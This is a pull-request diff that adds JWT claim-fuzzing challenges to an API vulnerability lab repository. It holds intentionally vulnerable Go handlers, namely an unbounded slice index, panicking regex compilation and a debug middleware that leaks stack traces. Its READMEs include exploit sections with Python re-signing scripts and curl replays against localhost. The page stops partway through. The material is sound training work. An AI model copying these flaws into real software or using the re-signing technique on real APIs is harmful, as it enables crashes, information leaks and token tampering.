Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .github/workflows/docker.yml
Original file line number Diff line number Diff line change
Expand Up @@ -10,50 +10,50 @@

jobs:
detect-changes:
runs-on: ubuntu-latest
runs-on: ubuntu-slim

outputs:
matrix: ${{ steps.detect.outputs.matrix }}

steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0

- name: Detect changed challenges
id: detect
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
CHANGED=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
else
CHANGED=$(git diff --name-only ${{ github.event.before }} ${{ github.sha }})
fi

COMMON_CHANGED=$(echo "$CHANGED" | grep "^common/" | wc -l)

MATRIX=()
for challenge in $(ls challenges/); do
if [ "${BUILD_ALL:-false}" = "true" ]; then
MATRIX+=("$challenge")
continue
fi

CHALLENGE_CHANGED=$(echo "$CHANGED" | grep "^challenges/$challenge/" | wc -l)

if [ "$CHALLENGE_CHANGED" -gt 0 ]; then
MATRIX+=("$challenge")
elif [ "$COMMON_CHANGED" -gt 0 ] && grep -q "COPY common/" "challenges/$challenge/Dockerfile"; then
MATRIX+=("$challenge")
fi
done

if [ ${#MATRIX[@]} -eq 0 ]; then
echo "matrix=[]" >> $GITHUB_OUTPUT
else
echo "matrix=$(printf '%s\n' "${MATRIX[@]}" | jq -R . | jq -c -s .)" >> $GITHUB_OUTPUT
fi

docker-lint:

Check warning

Code scanning / CodeQL

Workflow does not contain permissions Medium

Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read}
needs: detect-changes
if: ${{ needs.detect-changes.outputs.matrix != '[]' }}
runs-on: ubuntu-latest
Expand Down
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,9 @@ The following challenges are available in this repository:
- [JWT None Algorithm Bypass](challenges/jwt-alg-none-bypass)
- [JWT Apple Token Relay](challenges/jwt-apple-token-relay)
- [JWT Blank Secret](challenges/jwt-blank-secret)
- [JWT Claim Oversized Value](challenges/jwt-claim-oversized-value)
- [JWT Claim Special Characters](challenges/jwt-claim-special-chars)
- [JWT Claim Type Confusion](challenges/jwt-claim-type-confusion)
- [JWT Cross Service Relay](challenges/jwt-cross-service-relay)
- [JWT Facebook Token Relay](challenges/jwt-facebook-token-relay)
- [JWT Google Token Relay](challenges/jwt-google-token-relay)
Expand Down
14 changes: 14 additions & 0 deletions challenges/jwt-claim-oversized-value/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, built with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

jwt-claim-oversized-value
22 changes: 22 additions & 0 deletions challenges/jwt-claim-oversized-value/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
FROM golang:1.26 AS builder

WORKDIR /app

COPY common/ ./common/
COPY challenges/jwt-claim-oversized-value/ ./challenges/jwt-claim-oversized-value/

WORKDIR /app/challenges/jwt-claim-oversized-value
RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-claim-oversized-value .

FROM gcr.io/distroless/static-debian11:nonroot AS runner

WORKDIR /

COPY --from=builder --chown=nonroot:nonroot /jwt-claim-oversized-value /usr/bin/jwt-claim-oversized-value

EXPOSE 8080

USER nonroot:nonroot

ENTRYPOINT ["jwt-claim-oversized-value"]
CMD ["serve"]
65 changes: 65 additions & 0 deletions challenges/jwt-claim-oversized-value/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# JWT Claim Oversized Value

This challenge demonstrates an API that verifies the JWT signature correctly but then uses a claim's *length* as an array index with no upper bound. A `coupon` claim's length picks a discount tier out of a fixed-size lookup table - every coupon code the developers ever tested with was a handful of characters, so `discountTiers[len(coupon)]` always worked, right up until a claim value far longer than the table crashes the handler with an out-of-range panic.

A valid signature only proves who signed the token, not that its claim values stay within the size the API implicitly assumed. The crash isn't caught by a generic error handler either - a leftover debug middleware dumps the panic message and the full stack trace straight into the HTTP response. That makes every crash trivially distinguishable from a normal `200`/`401` response by status code, body content, and length - exactly the oracle a JWT claim fuzzer (a `--fuzz`/edit-and-resign mode that mutates claim values across requests, including oversized strings, and flags responses diverging from the baseline) is built to find.

This is one of a family of related challenges, each isolating a different class of claim mutation a fuzzer tries:

- [jwt-claim-type-confusion](../jwt-claim-type-confusion): wrong JSON type or `null` for a claim
- **jwt-claim-oversized-value** (this one): a claim value far longer than the API ever expected
- [jwt-claim-special-chars](../jwt-claim-special-chars): a claim value containing characters the API doesn't sanitize before using it structurally

## How to run it

```bash
go run main.go serve
```

## How to exploit it

```bash
# Get a legitimate token and confirm the happy path
TOKEN=$(go run main.go jwt)
curl -i http://localhost:8080/checkout -H "Authorization: Bearer $TOKEN"
# -> 200 OK {"coupon":"SAVE10","discount":"5%"}

# The signing key is a known dev secret, so a mutated claim can be re-signed
# and replayed against the target URL just like a claim fuzzer would.
python3 -c "
import hmac, hashlib, base64, json, time

def b64(d):
return base64.urlsafe_b64encode(d).rstrip(b'=')

header = {'alg': 'HS256', 'typ': 'JWT'}
secret = b's3cr3t-dev-key'

def sign(claims):
h = b64(json.dumps(header, separators=(',', ':')).encode())
p = b64(json.dumps(claims, separators=(',', ':')).encode())
signing_input = h + b'.' + p
sig = b64(hmac.new(secret, signing_input, hashlib.sha256).digest())
return (signing_input + b'.' + sig).decode()

base = {
'sub': 'x', 'coupon': 'SAVE10',
'iat': int(time.time()), 'exp': int(time.time()) + 3600,
}

print(sign({**base, 'coupon': 'A' * 5000}))
"

# Replay the mutated token - the baseline (200, ~35 bytes) diverges sharply
# from the crash response (500, ~2KB, containing a full Go stack trace)
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
http://localhost:8080/checkout -H "Authorization: Bearer <mutated-token>"
```

## Disclaimer

The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application.

---

Learn more about API security at [Cerberauth](https://www.cerberauth.com/)
15 changes: 15 additions & 0 deletions challenges/jwt-claim-oversized-value/go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
module github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-oversized-value

go 1.26

require github.com/golang-jwt/jwt/v5 v5.3.1

require github.com/spf13/cobra v1.10.2 // indirect

require (
github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
)

replace github.com/cerberauth/api-vulns-challenges/common => ../../common
13 changes: 13 additions & 0 deletions challenges/jwt-claim-oversized-value/go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
24 changes: 24 additions & 0 deletions challenges/jwt-claim-oversized-value/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
package main

import (
"time"

"github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-oversized-value/serve"
"github.com/cerberauth/api-vulns-challenges/common"
"github.com/golang-jwt/jwt/v5"
)

func generateToken() (string, error) {
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": "2cb307ba-bb46-4194-854f-4774046d9c9b",
"coupon": "SAVE10",
"iat": time.Now().Unix(),
"exp": time.Now().Add(time.Hour).Unix(),
})

return token.SignedString([]byte(serve.HmacSecret))
}

func main() {
common.Execute(serve.RunServer, common.NewJwtCmd(generateToken))
}
84 changes: 84 additions & 0 deletions challenges/jwt-claim-oversized-value/serve/server.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
package serve

import (
"fmt"
"log"
"net/http"
"runtime/debug"

"github.com/cerberauth/api-vulns-challenges/common"
"github.com/golang-jwt/jwt/v5"
)

// HmacSecret is the API's dev-time signing key. It is intentionally known
// here so a valid token can be re-signed after its claims are tampered
// with - the bug this challenge demonstrates lives in how a claim value is
// consumed, not in the signature check itself.
const HmacSecret = "s3cr3t-dev-key"

// discountTiers maps a coupon code's length to a discount tier. Nobody
// designing this ever expected a coupon code longer than a few characters,
// so the slice was sized generously "just in case" and never bounds-checked.
var discountTiers = []string{
"0%", "0%", "0%", "0%", "0%", "5%", "5%", "5%", "10%", "10%",
"10%", "15%", "15%", "15%", "20%", "20%", "20%", "25%", "25%", "25%",
"30%", "30%", "30%", "35%", "35%", "35%", "40%", "40%", "40%", "45%",
"45%", "45%",
}

// debugRecoveryMiddleware is a leftover "helpful" dev-mode handler: rather
// than returning a generic error, it dumps the panic message and the full
// goroutine stack trace straight into the response body. It was meant to
// speed up local debugging and never got stripped out before this API
// shipped, so any request that crashes the handler leaks internals and
// returns a 500 with a body that looks nothing like a normal response.
func debugRecoveryMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
if rec := recover(); rec != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, "panic: %v\n\n%s", rec, debug.Stack())
}
}()
next.ServeHTTP(w, r)
})
}

func RunServer(port string) {
mux := http.NewServeMux()
mux.HandleFunc("/checkout", func(w http.ResponseWriter, r *http.Request) {
tokenString, ok := common.ExtractBearerToken(r)
if !ok {
w.WriteHeader(http.StatusUnauthorized)
return
}

token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(HmacSecret), nil
})
if err != nil || !token.Valid {
w.WriteHeader(http.StatusUnauthorized)
return
}

claims := token.Claims.(jwt.MapClaims)
coupon := claims["coupon"].(string)

// The coupon's raw length indexes straight into a fixed-size
// lookup table with no upper bound. Every coupon the developers
// ever tested with was a handful of characters, so this always
// worked - until a claim value far longer than expected (which
// is exactly what a length/size-boundary fuzz mutation sends)
// walks past the end of the slice.
discount := discountTiers[len(coupon)]

w.Header().Set("Content-Type", "application/json")
fmt.Fprintf(w, `{"coupon":%q,"discount":%q}`, coupon, discount)
})

log.Println("Server started at port", port)
log.Fatal(http.ListenAndServe(":"+port, common.SecurityHeadersMiddleware(debugRecoveryMiddleware(mux))))
}
14 changes: 14 additions & 0 deletions challenges/jwt-claim-special-chars/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, built with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

jwt-claim-special-chars
22 changes: 22 additions & 0 deletions challenges/jwt-claim-special-chars/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
FROM golang:1.26 AS builder

WORKDIR /app

COPY common/ ./common/
COPY challenges/jwt-claim-special-chars/ ./challenges/jwt-claim-special-chars/

WORKDIR /app/challenges/jwt-claim-special-chars
RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-claim-special-chars .

FROM gcr.io/distroless/static-debian11:nonroot AS runner

WORKDIR /

COPY --from=builder --chown=nonroot:nonroot /jwt-claim-special-chars /usr/bin/jwt-claim-special-chars

EXPOSE 8080

USER nonroot:nonroot

ENTRYPOINT ["jwt-claim-special-chars"]
CMD ["serve"]
72 changes: 72 additions & 0 deletions challenges/jwt-claim-special-chars/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# JWT Claim Special Characters

This challenge demonstrates an API that verifies the JWT signature correctly but then compiles a `filter` claim straight into a regular expression with `regexp.MustCompile` instead of `Compile` plus an error check. The claim was meant to hold a simple pattern for scoping which of a client's own records get returned, so nobody validated its syntax first - a value containing unbalanced brackets, braces, parentheses, or an invalid repeat count panics the handler instead of being rejected as a bad filter.

A valid signature only proves who signed the token, not that its claim values are safe to use structurally. The crash isn't caught by a generic error handler either - a leftover debug middleware dumps the panic message and the full stack trace straight into the HTTP response. That makes every crash trivially distinguishable from a normal `200`/`401` response by status code, body content, and length - exactly the oracle a JWT claim fuzzer (a `--fuzz`/edit-and-resign mode that mutates claim values across requests, including special/meta characters, and flags responses diverging from the baseline) is built to find.

This is one of a family of related challenges, each isolating a different class of claim mutation a fuzzer tries:

- [jwt-claim-type-confusion](../jwt-claim-type-confusion): wrong JSON type or `null` for a claim
- [jwt-claim-oversized-value](../jwt-claim-oversized-value): a claim value far longer than the API ever expected
- **jwt-claim-special-chars** (this one): a claim value containing characters the API doesn't sanitize before using it structurally

## How to run it

```bash
go run main.go serve
```

## How to exploit it

```bash
# Get a legitimate token and confirm the happy path
TOKEN=$(go run main.go jwt)
curl -i http://localhost:8080/search -H "Authorization: Bearer $TOKEN"
# -> 200 OK {"filter":".*","matches":3}

# The signing key is a known dev secret, so a mutated claim can be re-signed
# and replayed against the target URL just like a claim fuzzer would.
python3 -c "
import hmac, hashlib, base64, json, time

def b64(d):
return base64.urlsafe_b64encode(d).rstrip(b'=')

header = {'alg': 'HS256', 'typ': 'JWT'}
secret = b's3cr3t-dev-key'

def sign(claims):
h = b64(json.dumps(header, separators=(',', ':')).encode())
p = b64(json.dumps(claims, separators=(',', ':')).encode())
signing_input = h + b'.' + p
sig = b64(hmac.new(secret, signing_input, hashlib.sha256).digest())
return (signing_input + b'.' + sig).decode()

base = {
'sub': 'x', 'filter': '.*',
'iat': int(time.time()), 'exp': int(time.time()) + 3600,
}

mutations = {
'unclosed bracket': {**base, 'filter': '[unclosed'},
'unbalanced parens': {**base, 'filter': '(unbalanced'},
'invalid repeat': {**base, 'filter': 'a{2,1}'},
}

for label, claims in mutations.items():
print(label, '=>', sign(claims))
"

# Replay each mutated token - the baseline (200, ~27 bytes) diverges sharply
# from the crash responses (500, ~2KB, containing a full Go stack trace)
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
http://localhost:8080/search -H "Authorization: Bearer <mutated-token>"
```

## Disclaimer

The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application.

---

Learn more about API security at [Cerberauth](https://www.cerberauth.com/)
15 changes: 15 additions & 0 deletions challenges/jwt-claim-special-chars/go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
module github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-special-chars

go 1.26

require github.com/golang-jwt/jwt/v5 v5.3.1

require github.com/spf13/cobra v1.10.2 // indirect

require (
github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
)

replace github.com/cerberauth/api-vulns-challenges/common => ../../common
Loading
Loading